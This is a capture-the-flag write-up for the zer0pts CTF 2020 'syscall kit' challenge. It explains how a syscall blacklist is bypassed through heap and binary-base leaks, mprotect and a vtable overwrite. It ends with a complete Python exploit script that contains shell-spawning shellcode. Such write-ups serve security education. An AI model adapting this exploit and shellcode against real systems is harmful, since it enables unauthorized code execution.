Try   HackMD

[zer0pts CTF 2020] syscall kit

tags: zer0pts CTF pwn

Overview

We're given a 64-bit ELF made by C++. The source code is attached as well.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   115 Symbols     Yes     0               0       chall

The program can call arbitrary system call with up to 3 arguments set, and prints the result (rax). However, the following method disables some system calls.

int Emulator::check() {
  if (this->rax >= 0x40000000)   return 1; // x32 ABI is dangerous!
  if (this->rax == SYS_open)     return 1; // never open files
  if (this->rax == SYS_openat)   return 1;
  if (this->rax == SYS_write)    return 1; // no more leak
  if (this->rax == SYS_read)     return 1; // no more overwrite
  if (this->rax == SYS_sendfile) return 1;
  if (this->rax == SYS_execve)   return 1; // of course not!
  if (this->rax == SYS_execveat) return 1;
  if (this->rax == SYS_ptrace)   return 1; // may ruine the program
  if (this->rax == SYS_fork)     return 1;
  if (this->rax == SYS_vfork)    return 1;
  if (this->rax == SYS_clone)    return 1;
  return 0;
}

Most of the important system calls are banned.

Solution

Available System Calls

mprotect

Since mprotect is allowed, we will get the shell if we could put our shellcode and make it executable. However, PIE and ASLR are enabled.

brk

brk is a system call to change the break value of heap. brk(0) will return the value of break. This value points to the end of the heap, with which we can calculate the heap base.

writev

We can't use write or sendfile but we need a system call to write data. There's no such a system call which returns the libc address (as far as I know). writev system call is not banned. This system call writes data from a iovec struct which has the buffer and size. It's useful if we can find an iovec-like data in the heap.

readv

Similar to writev, we can use readv.

Plan

1. Leaking heap base

First, we leak the heap address by brk. There exists a member variable of Emulator in the heap because Emulator is newed.

2. Leaking proc base

Checking with gdb, we find Emulator is allocated at 0x11e60 from the top of the heap.

pwndbg> x/16xg 0x555555758000 + 0x11e60
0x555555769e60: 0x0000000000000000      0x0000000000000031
0x555555769e70: 0x0000555555756ce0      0x000000000000007b
0x555555769e80: 0x0000000000000001      0x0000000000000002
0x555555769e90: 0x0000000000000003      0x000000000000f171
0x555555769ea0: 0x0000000000000000      0x0000000000000000
0x555555769eb0: 0x0000000000000000      0x0000000000000000
0x555555769ec0: 0x0000000000000000      0x0000000000000000
0x555555769ed0: 0x0000000000000000      0x0000000000000000

Here we can see an iovec-like structure at 0x555555769e70.
At 0x555555769e78 is rax value and at 0x555555769e70 is the pointer to the vtable of Emulator.

pwndbg> x/16xg 0x0000555555756ce0
0x555555756ce0 <_ZTV8Emulator+16>:      0x0000555555555114      0x000055555555516e
0x555555756cf0 <_ZTV8Emulator+32>:      0x0000555555555290      0x00005555555552d8
0x555555756d00 <_ZTI8Emulator>: 0x00007ffff7dc6168      0x00005555555559a8

writev is 20 and rax will be 20. This means we can read 20 bytes of the vtable. In this way we can calculate the proc base.

3. Make vtable writable

We'll get RIP by overwriting vtable but vtable is only readable. So, we use mprotect to make it writable. This is simple because we already know the proc base.

4. Make heap executable

We'll put a ROP gadget on the heap later. To make it available, we use mprotect to change the permission.

5. Disable Emulator::check

As we made the vtable writable in 3, we can overwrite the pointer to Emulator::check. If we can make it a function which return 0, every system call will be available. However, there's no such useful function. So, we prepare a ROP gadget in the heap, such as xor rax, rax; ret; or mov rax, 0; ret;. As we can only put register values, I set an argument to 0xc3c03148 and now we have xor rax, rax; ret; in the heap.

6. Executing the shellcode

Now Emulator::check is disabled!
We can write shellcode by read or whatever and call it by overwriting the vtable.

Exploit

from ptrlib import * def syscall(n, args, recv=True): sock.sendlineafter("syscall: ", str(n)) for i in range(3): if i < len(args): sock.sendlineafter(": ", str(args[i])) else: sock.sendlineafter(": ", "0") if recv: sock.recvuntil("retval: ") return int(sock.recvline(), 16) elf = ELF("../distfiles/chall") #sock = Process("../distfiles/chall") sock = Socket("localhost", 9006) vtable = 0x202ce0 shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 1) brk(0) # Call brk(0) to leak heap base. heap = syscall(12, [0]) - 0x21000 logger.info("heap = " + hex(heap)) # 2) writev(1, heap + 0x11e70, 1) # Call writev to leak proc base. # The first 16 bytes of Emulator (vtable, rax) can be regarded as an iovec. syscall(20, [1, heap + 0x11e70, 1], recv=False) sock.recvline() proc = u64(sock.recv(8)) - elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm") logger.info("proc = " + hex(proc)) # 3) mprotect(proc + 0x202000, 0x1000, PROT_READ | PROT_WRITE) # Before overwriting the vtable, we have to make the area writable. syscall(10, [proc + 0x202000, 0x1000, 0b011]) # 4) mprotect(heap + 0x11000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) # Also we make the heap executable. # This is because we will write "xor rax, rax; ret;" gadget here. syscall(10, [heap + 0x11000, 0x1000, 0b111]) rop_xor_rax_rax_ret = heap + 0x11e90 # 5) readv(0, heap + 0x11e70, 1) # Call readv to disable Emulator::check. # Same principle as step 2, we can overwrite the vtable. payload = b'' payload += p64(proc + elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm")) payload += p64(rop_xor_rax_rax_ret) syscall(19, [0, heap + 0x11e70, 1], recv=False) sock.send(payload) # Now, arg3 is regarded as ROP gadget! # 6) read(0, heap + 0x11000, 0xc3c03148) # Write shellcode to heap. # (We can bypass Emulator::check because 0xc3c03148 == xor rax, rax; ret;) syscall(0, [0, heap + 0x11000, 0xc3c03148], recv=False) sock.send(shellcode) # 7) read(0, proc + vtable + 8, 0xc3c03148) # Call read to overwrite Emulator::check to our shellcode. payload = p64(heap + 0x11000) syscall(0, [0, proc + vtable + 8, 0xc3c03148], recv=False) sock.send(payload) # 8) get the shell! # Now Emulator::check points to our shellcode! syscall(0, [0, 0, 0], recv=False) sock.interactive()